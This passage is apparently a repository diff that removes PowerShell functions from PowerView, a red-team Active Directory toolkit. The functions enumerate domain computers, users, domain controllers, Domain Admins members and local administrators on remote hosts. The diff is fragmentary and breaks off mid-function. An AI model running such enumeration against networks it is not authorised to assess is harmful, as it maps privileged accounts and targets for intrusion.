# reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx
|
||||
$dn = "DC=$($Domain.Replace('.', ',DC='))"
|
||||
|
||||
# if we could grab the primary DC for the current domain, use that for the query
|
||||
if($PrimaryDC){
|
||||
$CompSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn")
|
||||
}
|
||||
else{
|
||||
# otherwise try to connect to the DC for the target domain
|
||||
$CompSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn")
|
||||
}
|
||||
|
||||
# create the searcher object with our specific filters
|
||||
if ($ServicePack -ne '*'){
|
||||
$CompSearcher.filter="(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(operatingsystemservicepack=$ServicePack)(servicePrincipalName=$SPN))"
|
||||
}
|
||||
else{
|
||||
# server 2012 peculiarity- remove any mention to service pack
|
||||
$CompSearcher.filter="(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(servicePrincipalName=$SPN))"
|
||||
}
|
||||
|
||||
}
|
||||
catch{
|
||||
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
|
||||
}
|
||||
}
|
||||
else{
|
||||
# otherwise, use the current domain
|
||||
if ($ServicePack -ne '*'){
|
||||
$CompSearcher = [adsisearcher]"(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(operatingsystemservicepack=$ServicePack)(servicePrincipalName=$SPN))"
|
||||
}
|
||||
else{
|
||||
# server 2012 peculiarity- remove any mention to service pack
|
||||
$CompSearcher = [adsisearcher]"(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(servicePrincipalName=$SPN))"
|
||||
}
|
||||
}
|
||||
|
||||
if ($CompSearcher){
|
||||
|
||||
# eliminate that pesky 1000 system limit
|
||||
$CompSearcher.PageSize = 200
|
||||
|
||||
$CompSearcher.FindAll() | ? {$_} | ForEach-Object {
|
||||
$up = $true
|
||||
if($Ping){
|
||||
$up = Test-Server -Server $_.properties.dnshostname
|
||||
}
|
||||
if($up){
|
||||
# return full data objects
|
||||
if ($FullData){
|
||||
$properties = $_.Properties
|
||||
$out = New-Object psobject
|
||||
|
||||
$properties.PropertyNames | % {
|
||||
if ($_ -eq "objectsid"){
|
||||
# convert the SID to a string
|
||||
$out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value)
|
||||
}
|
||||
elseif($_ -eq "objectguid"){
|
||||
# convert the GUID to a string
|
||||
$out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid
|
||||
}
|
||||
elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") ){
|
||||
$out | Add-Member Noteproperty $_ ([datetime]::FromFileTime(($properties[$_][0])))
|
||||
}
|
||||
else {
|
||||
$out | Add-Member Noteproperty $_ $properties[$_][0]
|
||||
}
|
||||
}
|
||||
$out | Out-String
|
||||
}
|
||||
else{
|
||||
# otherwise we're just returning the DNS host name
|
||||
$_.properties.dnshostname + "`n"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
|
@ -1,526 +0,0 @@
|
|||
|
||||
function Convert-SidToName {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Converts a security identifier (SID) to a group/user name.
|
||||
|
||||
.PARAMETER SID
|
||||
The SID to convert.
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$True,ValueFromPipeline=$True)]
|
||||
[String]
|
||||
$SID
|
||||
)
|
||||
|
||||
process {
|
||||
try {
|
||||
$obj = (New-Object System.Security.Principal.SecurityIdentifier($SID))
|
||||
$obj.Translate( [System.Security.Principal.NTAccount]).Value
|
||||
}
|
||||
catch {
|
||||
Write-Warning "invalid SID"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Get-NetGroup {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets a list of all current users in a specified domain group.
|
||||
|
||||
.DESCRIPTION
|
||||
This function users [ADSI] and LDAP to query the current AD context
|
||||
or trusted domain for users in a specified group. If no GroupName is
|
||||
specified, it defaults to querying the "Domain Admins" group.
|
||||
This is a replacement for "net group 'name' /domain"
|
||||
|
||||
.PARAMETER GroupName
|
||||
The group name to query for users. If not given, it defaults to "Domain Admins"
|
||||
|
||||
.PARAMETER Domain
|
||||
The domain to query for group users.
|
||||
|
||||
.PARAMETER FullData
|
||||
Switch. Returns full data objects instead of just group/users.
|
||||
|
||||
.PARAMETER Recurse
|
||||
Switch. If the group member is a group, recursively try to query its members as well.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetGroup
|
||||
Returns the usernames that of members of the "Domain Admins" domain group.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetGroup -Domain testing -GroupName "Power Users"
|
||||
Returns the usernames that of members of the "Power Users" group
|
||||
in the 'testing' domain.
|
||||
|
||||
.LINK
|
||||
http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(ValueFromPipeline=$true)]
|
||||
[string]
|
||||
$GroupName = 'Domain Admins',
|
||||
|
||||
[Switch]
|
||||
$FullData,
|
||||
|
||||
[Switch]
|
||||
$Recurse,
|
||||
|
||||
[string]
|
||||
$Domain,
|
||||
|
||||
[string]
|
||||
$PrimaryDC
|
||||
)
|
||||
|
||||
process {
|
||||
|
||||
# if a domain is specified, try to grab that domain
|
||||
if ($Domain){
|
||||
|
||||
# try to grab the primary DC for the current domain
|
||||
try{
|
||||
$PrimaryDC = ([Array](Get-NetDomainControllers))[0].Name
|
||||
}
|
||||
catch{
|
||||
$PrimaryDC = $Null
|
||||
}
|
||||
|
||||
try {
|
||||
# reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx
|
||||
|
||||
$dn = "DC=$($Domain.Replace('.', ',DC='))"
|
||||
|
||||
# if we could grab the primary DC for the current domain, use that for the query
|
||||
if($PrimaryDC){
|
||||
$GroupSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn")
|
||||
}
|
||||
else{
|
||||
# otherwise try to connect to the DC for the target domain
|
||||
$GroupSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn")
|
||||
}
|
||||
# samAccountType=805306368 indicates user objects
|
||||
$GroupSearcher.filter = "(&(objectClass=group)(name=$GroupName))"
|
||||
}
|
||||
catch{
|
||||
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
|
||||
}
|
||||
}
|
||||
else{
|
||||
$Domain = (Get-NetDomain).Name
|
||||
|
||||
# otherwise, use the current domain
|
||||
$GroupSearcher = [adsisearcher]"(&(objectClass=group)(name=$GroupName))"
|
||||
}
|
||||
|
||||
if ($GroupSearcher){
|
||||
$GroupSearcher.PageSize = 200
|
||||
$GroupSearcher.FindAll() | % {
|
||||
try{
|
||||
$GroupFoundName = $_.properties.name[0]
|
||||
$_.properties.member | ForEach-Object {
|
||||
# for each user/member, do a quick adsi object grab
|
||||
if ($PrimaryDC){
|
||||
$properties = ([adsi]"LDAP://$PrimaryDC/$_").Properties
|
||||
}
|
||||
else {
|
||||
$properties = ([adsi]"LDAP://$_").Properties
|
||||
}
|
||||
|
||||
# check if the result is a user account- if not assume it's a group
|
||||
if ($properties.samAccountType -ne "805306368"){
|
||||
$isGroup = $True
|
||||
}
|
||||
else{
|
||||
$isGroup = $False
|
||||
}
|
||||
|
||||
$out = New-Object psobject
|
||||
$out | add-member Noteproperty 'GroupDomain' $Domain
|
||||
$out | Add-Member Noteproperty 'GroupName' $GroupFoundName
|
||||
|
||||
if ($FullData){
|
||||
$properties.PropertyNames | % {
|
||||
# TODO: errors on cross-domain users?
|
||||
if ($_ -eq "objectsid"){
|
||||
# convert the SID to a string
|
||||
$out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value)
|
||||
}
|
||||
elseif($_ -eq "objectguid"){
|
||||
# convert the GUID to a string
|
||||
$out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid
|
||||
}
|
||||
else {
|
||||
if ($properties[$_].count -eq 1) {
|
||||
$out | Add-Member Noteproperty $_ $properties[$_][0]
|
||||
}
|
||||
else {
|
||||
$out | Add-Member Noteproperty $_ $properties[$_]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
$MemberDN = $properties.distinguishedName[0]
|
||||
# extract the FQDN from the Distinguished Name
|
||||
$MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
|
||||
|
||||
if ($properties.samAccountType -ne "805306368"){
|
||||
$isGroup = $True
|
||||
}
|
||||
else{
|
||||
$isGroup = $False
|
||||
}
|
||||
|
||||
if ($properties.samAccountName){
|
||||
# forest users have the samAccountName set
|
||||
$MemberName = $properties.samAccountName[0]
|
||||
}
|
||||
else {
|
||||
# external trust users have a SID, so convert it
|
||||
try {
|
||||
$MemberName = Convert-SidToName $properties.cn[0]
|
||||
}
|
||||
catch {
|
||||
# if there's a problem contacting the domain to resolve the SID
|
||||
$MemberName = $properties.cn
|
||||
}
|
||||
}
|
||||
$out | add-member Noteproperty 'MemberDomain' $MemberDomain
|
||||
$out | add-member Noteproperty 'MemberName' $MemberName
|
||||
$out | add-member Noteproperty 'IsGroup' $IsGroup
|
||||
$out | add-member Noteproperty 'MemberDN' $MemberDN
|
||||
}
|
||||
|
||||
$out
|
||||
|
||||
if($Recurse) {
|
||||
# if we're recursiving and the returned value isn't a user account, assume it's a group
|
||||
if($IsGroup){
|
||||
if($FullData){
|
||||
Get-NetGroup -Domain $Domain -PrimaryDC $PrimaryDC -FullData -Recurse -GroupName $properties.SamAccountName[0]
|
||||
}
|
||||
else {
|
||||
Get-NetGroup -Domain $Domain -PrimaryDC $PrimaryDC -Recurse -GroupName $properties.SamAccountName[0]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch {
|
||||
write-verbose $_
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Get-NetDomain {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Returns the name of the current user's domain.
|
||||
|
||||
.PARAMETER Domain
|
||||
The domain to query return. If not supplied, the
|
||||
current domain is used.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetDomain
|
||||
Return the current domain.
|
||||
|
||||
.LINK
|
||||
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[String]
|
||||
$Domain
|
||||
)
|
||||
|
||||
if($Domain -and ($Domain -ne "")){
|
||||
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
|
||||
try {
|
||||
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
|
||||
}
|
||||
catch{
|
||||
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
|
||||
$Null
|
||||
}
|
||||
}
|
||||
else{
|
||||
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Convert-SidToName {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Converts a security identifier (SID) to a group/user name.
|
||||
|
||||
.PARAMETER SID
|
||||
The SID to convert.
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$True,ValueFromPipeline=$True)]
|
||||
[String]
|
||||
$SID
|
||||
)
|
||||
|
||||
process {
|
||||
try {
|
||||
$obj = (New-Object System.Security.Principal.SecurityIdentifier($SID))
|
||||
$obj.Translate( [System.Security.Principal.NTAccount]).Value
|
||||
}
|
||||
catch {
|
||||
Write-Warning "invalid SID"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Translate-NT4Name {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Converts a user/group NT4 name (i.e. dev/john) to canonical format.
|
||||
Based on Bill Stewart's code from this article:
|
||||
http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
|
||||
|
||||
.PARAMETER DomainObject
|
||||
The user/groupname to convert
|
||||
|
||||
.PARAMETER DomainObject
|
||||
The user/groupname to convert
|
||||
|
||||
.LINK
|
||||
http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[String] $DomainObject,
|
||||
[String] $Domain
|
||||
)
|
||||
|
||||
if (-not $Domain) {
|
||||
$domain = (Get-NetDomain).name
|
||||
}
|
||||
|
||||
$DomainObject = $DomainObject -replace "/","\"
|
||||
|
||||
# Accessor functions to simplify calls to NameTranslate
|
||||
function Invoke-Method([__ComObject] $object, [String] $method, $parameters) {
|
||||
$output = $object.GetType().InvokeMember($method, "InvokeMethod", $NULL, $object, $parameters)
|
||||
if ( $output ) { $output }
|
||||
}
|
||||
function Set-Property([__ComObject] $object, [String] $property, $parameters) {
|
||||
[Void] $object.GetType().InvokeMember($property, "SetProperty", $NULL, $object, $parameters)
|
||||
}
|
||||
|
||||
$Translate = new-object -comobject NameTranslate
|
||||
|
||||
try {
|
||||
Invoke-Method $Translate "Init" (1, $Domain)
|
||||
}
|
||||
catch [System.Management.Automation.MethodInvocationException] { }
|
||||
|
||||
Set-Property $Translate "ChaseReferral" (0x60)
|
||||
|
||||
try {
|
||||
Invoke-Method $Translate "Set" (3, $DomainObject)
|
||||
(Invoke-Method $Translate "Get" (2))
|
||||
}
|
||||
catch [System.Management.Automation.MethodInvocationException] { }
|
||||
}
|
||||
|
||||
function Get-NetLocalGroup {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets a list of all current users in a specified local group.
|
||||
|
||||
.PARAMETER HostName
|
||||
The hostname or IP to query for local group users.
|
||||
|
||||
.PARAMETER HostList
|
||||
List of hostnames/IPs to query for local group users.
|
||||
|
||||
.PARAMETER GroupName
|
||||
The local group name to query for users. If not given, it defaults to "Administrators"
|
||||
|
||||
.PARAMETER Recurse
|
||||
Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetLocalGroup
|
||||
Returns the usernames that of members of localgroup "Administrators" on the local host.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetLocalGroup -HostName WINDOWSXP
|
||||
Returns all the local administrator accounts for WINDOWSXP
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetLocalGroup -HostName WINDOWS7 -Resurse
|
||||
Returns all effective local/domain users/groups that can access WINDOWS7 with
|
||||
local administrative privileges.
|
||||
|
||||
.LINK
|
||||
http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together
|
||||
http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(ValueFromPipeline=$True)]
|
||||
[string]
|
||||
$HostName = 'localhost',
|
||||
|
||||
[string]
|
||||
$HostList,
|
||||
|
||||
[string]
|
||||
$GroupName,
|
||||
|
||||
[switch]
|
||||
$Recurse
|
||||
)
|
||||
|
||||
process {
|
||||
|
||||
$Servers = @()
|
||||
|
||||
# if we have a host list passed, grab it
|
||||
if($HostList){
|
||||
if (Test-Path -Path $HostList){
|
||||
$Servers = Get-Content -Path $HostList
|
||||
}
|
||||
else{
|
||||
Write-Warning "[!] Input file '$HostList' doesn't exist!"
|
||||
$null
|
||||
}
|
||||
}
|
||||
else{
|
||||
# otherwise assume a single host name
|
||||
$Servers += $HostName
|
||||
}
|
||||
|
||||
if (-not $GroupName){
|
||||
# resolve the SID for the local admin group - this should usually default to "Administrators"
|
||||
$objSID = New-Object System.Security.Principal.SecurityIdentifier('S-1-5-32-544')
|
||||
$objgroup = $objSID.Translate( [System.Security.Principal.NTAccount])
|
||||
$GroupName = ($objgroup.Value).Split('\')[1]
|
||||
}
|
||||
|
||||
# query the specified group using the WINNT provider, and
|
||||
# extract fields as appropriate from the results
|
||||
foreach($Server in $Servers)
|
||||
{
|
||||
try{
|
||||
$members = @($([ADSI]"WinNT://$server/$groupname").psbase.Invoke('Members'))
|
||||
$members | ForEach-Object {
|
||||
$out = New-Object psobject
|
||||
$out | Add-Member Noteproperty 'Server' $Server
|
||||
|
||||
$AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $null, $_, $null)).Replace('WinNT://', '')
|
||||
|
||||
# try to translate the NT4 domain to a FQDN if possible
|
||||
$name = Translate-NT4Name $AdsPath
|
||||
if($name) {
|
||||
$fqdn = $name.split("/")[0]
|
||||
$objName = $AdsPath.split("/")[-1]
|
||||
$name = "$fqdn/$objName"
|
||||
$IsDomain = $True
|
||||
}
|
||||
else {
|
||||
$name = $AdsPath
|
||||
$IsDomain = $False
|
||||
}
|
||||
|
||||
$out | Add-Member Noteproperty 'AccountName' $name
|
||||
|
||||
# translate the binary sid to a string
|
||||
$out | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $null, $_, $null),0)).Value)
|
||||
|
||||
# if the account is local, check if it's disabled, if it's domain, always print $false
|
||||
# TODO: fix this error?
|
||||
$out | Add-Member Noteproperty 'Disabled' $( if(-not $IsDomain) { try { $_.GetType().InvokeMember('AccountDisabled', 'GetProperty', $null, $_, $null) } catch { 'ERROR' } } else { $False } )
|
||||
|
||||
# check if the member is a group
|
||||
$IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group')
|
||||
$out | Add-Member Noteproperty 'IsGroup' $IsGroup
|
||||
$out | Add-Member Noteproperty 'IsDomain' $IsDomain
|
||||
if($IsGroup){
|
||||
$out | Add-Member Noteproperty 'LastLogin' ""
|
||||
}
|
||||
else{
|
||||
try {
|
||||
$out | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $null, $_, $null))
|
||||
}
|
||||
catch {
|
||||
$out | Add-Member Noteproperty 'LastLogin' ""
|
||||
}
|
||||
}
|
||||
$out
|
||||
|
||||
# if the result is a group domain object and we're recursing,
|
||||
# try to resolve all the group member results
|
||||
if($Recurse -and $IsDomain -and $IsGroup){
|
||||
Write-Verbose "recurse!"
|
||||
$FQDN = $name.split("/")[0]
|
||||
$GroupName = $name.split("/")[1]
|
||||
Get-NetGroup $GroupName -FullData -Recurse | % {
|
||||
$out = New-Object psobject
|
||||
$out | Add-Member Noteproperty 'Server' $name
|
||||
|
||||
$MemberDN = $_.distinguishedName
|
||||
# extract the FQDN from the Distinguished Name
|
||||
$MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
|
||||
|
||||
if ($_.samAccountType -ne "805306368"){
|
||||
$MemberIsGroup = $True
|
||||
}
|
||||
else{
|
||||
$MemberIsGroup = $False
|
||||
}
|
||||
|
||||
if ($_.samAccountName){
|
||||
# forest users have the samAccountName set
|
||||
$MemberName = $_.samAccountName
|
||||
}
|
||||
else {
|
||||
# external trust users have a SID, so convert it
|
||||
try {
|
||||
$MemberName = Convert-SidToName $_.cn
|
||||
}
|
||||
catch {
|
||||
# if there's a problem contacting the domain to resolve the SID
|
||||
$MemberName = $_.cn
|
||||
}
|
||||
}
|
||||
|
||||
$out | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName"
|
||||
$out | Add-Member Noteproperty 'SID' $_.objectsid
|
||||
$out | Add-Member Noteproperty 'Disabled' $False
|
||||
$out | Add-Member Noteproperty 'IsGroup' $MemberIsGroup
|
||||
$out | Add-Member Noteproperty 'IsDomain' $True
|
||||
$out | Add-Member Noteproperty 'LastLogin' ''
|
||||
$out
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch {
|
||||
Write-Warning "[!] Error: $_"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,247 +0,0 @@
|
|||
|
||||
function Get-NetDomainController {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Return the current domain controllers for the active domain.
|
||||
|
||||
.PARAMETER Domain
|
||||
The domain to query for domain controllers. If not supplied, the
|
||||
current domain is used.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetDomainController
|
||||
Returns the domain controllers for the current computer's domain.
|
||||
Approximately equivialent to the hostname given in the LOGONSERVER
|
||||
environment variable.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetDomainController -Domain test
|
||||
Returns the domain controllers for the domain "test".
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[string]
|
||||
$Domain
|
||||
)
|
||||
|
||||
$d = Get-NetDomain -Domain $Domain
|
||||
if($d){
|
||||
$d.DomainControllers
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Get-NetDomain {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Returns the name of the current user's domain.
|
||||
|
||||
.PARAMETER Domain
|
||||
The domain to query return. If not supplied, the
|
||||
current domain is used.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetDomain
|
||||
Return the current domain.
|
||||
|
||||
.LINK
|
||||
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[String]
|
||||
$Domain
|
||||
)
|
||||
|
||||
if($Domain -and ($Domain -ne "")){
|
||||
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
|
||||
try {
|
||||
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
|
||||
}
|
||||
catch{
|
||||
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
|
||||
$Null
|
||||
}
|
||||
}
|
||||
else{
|
||||
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Get-NetUser {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Query information for a given user or users in the domain.
|
||||
|
||||
.DESCRIPTION
|
||||
This function users [ADSI] and LDAP to query the current
|
||||
domain for all users. Another domain can be specified to
|
||||
query for users across a trust.
|
||||
This is a replacement for "net users /domain"
|
||||
|
||||
.PARAMETER UserName
|
||||
Username filter string, wildcards accepted.
|
||||
|
||||
.PARAMETER Domain
|
||||
The domain to query for users. If not supplied, the
|
||||
current domain is used.
|
||||
|
||||
.PARAMETER OU
|
||||
The OU to pull users from.
|
||||
|
||||
.PARAMETER Filter
|
||||
The complete LDAP query string to use to query for users.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetUser
|
||||
Returns the member users of the current domain.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetUser -Domain testing
|
||||
Returns all the members in the "testing" domain.
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(ValueFromPipeline=$True)]
|
||||
[string]
|
||||
$UserName,
|
||||
|
||||
[string]
|
||||
$OU,
|
||||
|
||||
[string]
|
||||
$Filter,
|
||||
|
||||
[string]
|
||||
$Domain
|
||||
)
|
||||
process {
|
||||
# if a domain is specified, try to grab that domain
|
||||
if ($Domain){
|
||||
|
||||
# try to grab the primary DC for the current domain
|
||||
try{
|
||||
$PrimaryDC = ([Array](Get-NetDomainController))[0].Name
|
||||
}
|
||||
catch{
|
||||
$PrimaryDC = $Null
|
||||
}
|
||||
|
||||
try {
|
||||
# reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx
|
||||
$dn = "DC=$($Domain.Replace('.', ',DC='))"
|
||||
|
||||
# if we have an OU specified, be sure to through it in
|
||||
if($OU){
|
||||
$dn = "OU=$OU,$dn"
|
||||
}
|
||||
|
||||
# if we could grab the primary DC for the current domain, use that for the query
|
||||
if ($PrimaryDC){
|
||||
$UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn")
|
||||
}
|
||||
else{
|
||||
# otherwise try to connect to the DC for the target domain
|
||||
$UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn")
|
||||
}
|
||||
|
||||
# check if we're using a username filter or not
|
||||
if($UserName){
|
||||
# samAccountType=805306368 indicates user objects
|
||||
$UserSearcher.filter="(&(samAccountType=805306368)(samAccountName=$UserName))"
|
||||
}
|
||||
elseif($Filter){
|
||||
# filter is something like (samAccountName=*blah*)
|
||||
$UserSearcher.filter="(&(samAccountType=805306368)$Filter)"
|
||||
}
|
||||
else{
|
||||
$UserSearcher.filter='(&(samAccountType=805306368))'
|
||||
}
|
||||
$UserSearcher.PageSize = 200
|
||||
$UserSearcher.FindAll() | ForEach-Object {
|
||||
# for each user/member, do a quick adsi object grab
|
||||
$properties = $_.Properties
|
||||
$out = New-Object psobject
|
||||
$properties.PropertyNames | % {
|
||||
if ($_ -eq "objectsid"){
|
||||
# convert the SID to a string
|
||||
$out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value)
|
||||
}
|
||||
elseif($_ -eq "objectguid"){
|
||||
# convert the GUID to a string
|
||||
$out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid
|
||||
}
|
||||
elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") ){
|
||||
$out | Add-Member Noteproperty $_ ([datetime]::FromFileTime(($properties[$_][0])))
|
||||
}
|
||||
else {
|
||||
if ($properties[$_].count -eq 1) {
|
||||
$out | Add-Member Noteproperty $_ $properties[$_][0]
|
||||
}
|
||||
else {
|
||||
$out | Add-Member Noteproperty $_ $properties[$_]
|
||||
}
|
||||
}
|
||||
}
|
||||
$out
|
||||
}
|
||||
}
|
||||
catch{
|
||||
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
|
||||
}
|
||||
}
|
||||
else{
|
||||
# otherwise, use the current domain
|
||||
if($UserName){
|
||||
$UserSearcher = [adsisearcher]"(&(samAccountType=805306368)(samAccountName=*$UserName*))"
|
||||
}
|
||||
# if we're specifying an OU
|
||||
elseif($OU){
|
||||
$dn = "OU=$OU," + ([adsi]'').distinguishedname
|
||||
$UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn")
|
||||
$UserSearcher.filter='(&(samAccountType=805306368))'
|
||||
}
|
||||
# if we're specifying a specific LDAP query string
|
||||
elseif($Filter){
|
||||
# filter is something like (samAccountName=*blah*)
|
||||
$UserSearcher = [adsisearcher]"(&(samAccountType=805306368)$Filter)"
|
||||
}
|
||||
else{
|
||||
$UserSearcher = [adsisearcher]'(&(samAccountType=805306368))'
|
||||
}
|
||||
$UserSearcher.PageSize = 200
|
||||
|
||||
$UserSearcher.FindAll() | ForEach-Object {
|
||||
# for each user/member, do a quick adsi object grab
|
||||
$properties = $_.Properties
|
||||
$out = New-Object psobject
|
||||
$properties.PropertyNames | % {
|
||||
if ($_ -eq "objectsid"){
|
||||
# convert the SID to a string
|
||||
$out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value)
|
||||
}
|
||||
elseif($_ -eq "objectguid"){
|
||||
# convert the GUID to a string
|
||||
$out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid
|
||||
}
|
||||
elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") ){
|
||||
$out | Add-Member Noteproperty $_ ([datetime]::FromFileTime(($properties[$_][0])))
|
||||
}
|
||||
else {
|
||||
if ($properties[$_].count -eq 1) {
|
||||
$out | Add-Member Noteproperty $_ $properties[$_][0]
|
||||
}
|
||||
else {
|
||||
$out | Add-Member Noteproperty $_ $properties[$_]
|
||||
}
|
||||
}
|
||||
}
|
||||
$out
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
File diff suppressed because it is too large
Load Diff
|
@ -1,308 +0,0 @@
|
|||
|
||||
# Invoke-MapDomainTrusts.ps1
|
||||
# part of PowerView in Veil's PowerTools
|
||||
# https://github.com/Veil-Framework/PowerTools/
|
||||
|
||||
function Get-NetDomain {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Returns the name of the current user's domain.
|
||||
|
||||
.PARAMETER Domain
|
||||
The domain to query return. If not supplied, the
|
||||
current domain is used.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetDomain
|
||||
Return the current domain.
|
||||
|
||||
.LINK
|
||||
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[String]
|
||||
$Domain
|
||||
)
|
||||
|
||||
if($Domain -and ($Domain -ne "")){
|
||||
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
|
||||
try {
|
||||
